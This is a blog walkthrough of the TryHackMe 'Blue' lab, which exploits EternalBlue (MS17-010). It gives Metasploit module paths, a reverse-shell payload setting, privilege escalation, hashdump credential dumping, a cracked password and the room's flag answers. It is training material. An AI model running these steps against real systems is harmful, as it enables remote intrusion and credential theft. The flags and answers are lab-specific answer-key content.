Blue Walkthrough — THM

Azt3c
4 min readMar 20, 2022

This blog is a walkthrough for the room Blue on the Try Hack Me Platform.

This is a room that covers the exploit “EternalBlue” or known as “MS17–010”.

EternalBlue is an known windows exploit that allows attackers to remotely execute arbitrary code, this exploits a software vulnerability in MS Windows Server Messaging Block protocol (SMBv1), a network sharing protocol that allows access on a remote server. This exploit was also used in a well known ransomeware “WannaCry” .

Task 1: Recon

Task 2: Gain Access

Task 3: Escalate

Task 4: Cracking

Task 5: Find flags!!

Task 1: Recon

  1. Scan the machine. (If you are unsure how to tackle this.)

- No Answer Needed

2. How many ports are open with a port number under 1000?

- 3

3. What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08–067)

- Ms17–010

Task 2: Gain Access

1. Start Metasploit

- No Answer

2. Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/……..)

- exploit/windows/smb/ms17_010_eternalblue

3. Show options and set the one required value. What is the name of this value? (All caps for submission)

- RHOSTS

Usually it would be fine to run this exploit as is; however, for the sake of learning, you should do one more thing before exploiting the target. Enter the following command and press enter.

- set payload windows/x64/shell/reverse_tcp

4. With that done, run the exploit!

- No Answer Needed

5. Confirm that the exploit has run correctly. You may have to press enter for the DOS shell to appear. Background this shell (CTRL + Z). If this failed, you may have to reboot the target VM. Try running it again before a reboot of the target.

- No Answer Needed

Task 3: Escalate

Escalate privileges, learn how to upgrade shells in metasploit.

1. If you haven’t already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected)

- post/multi/manage/shell_to_meterpreter

2. Select this (use MODULE_PATH). Show options, what option are we required to change?

- SESSION

3. Set the required option, you may need to list all of the sessions to find your target here.

- No Answer Needed

4. Run! If this doesn’t work, try completing the exploit from the previous task once more.

- No Answer Needed

5. Once the meterpreter shell conversion completes, select that session for use.

- No Answer Needed

6. Verify that we have escalated to NT AUTHORITY\SYSTEM. Run getsystem to confirm this. Feel free to open a dos shell via the command ‘shell’ and run ‘whoami’. This should return that we are indeed system. Background this shell afterwards and select our meterpreter session for usage again.

- No Answer Needed

7. List all of the processes running via the ‘ps’ command. Just because we are system doesn’t mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column).

- No Answer Needed

8. Migrate to this process using the ‘migrate PROCESS_ID’ command where the process id is the one you just wrote down in the previous step. This may take several attempts, migrating processes is not very stable. If this fails, you may need to re-run the conversion process or reboot the machine and start once again. If this happens, try a different process next time.

- No Answer Needed

Task 4: Cracking

Dump the non-default user’s password and crack it!

1. Within our elevated meterpreter shell, run the command ‘hashdump’. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?

- Jon

2. Copy this password hash to a file and research how to crack it. What is the cracked password?

- alqfna22

Task 5: Find Flags!

  1. Find the three flags planted on this machine. These are not traditional flags, rather, they’re meant to represent key locations within the Windows system.

Flag1? This flag can be found at the system root.

- flag{access_the_machine}

2. Flag2? This flag can be found at the location where passwords are stored within Windows.

*Errata: Windows really doesn’t like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag. This relatively rare, however, it can happen.

- flag{sam_database_elevated_access}

flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.

- flag{admin_documents_can_be_valuable}

Thanks for reading :). You can be aware of new content by following me on Medium. If you have any questions, don’t hesitate to contact me.

--

--

Azt3c

Cyber Security | HackTheBox |TryHackMe | picoCTF | SocVel | CyberDefenders | LetsDefend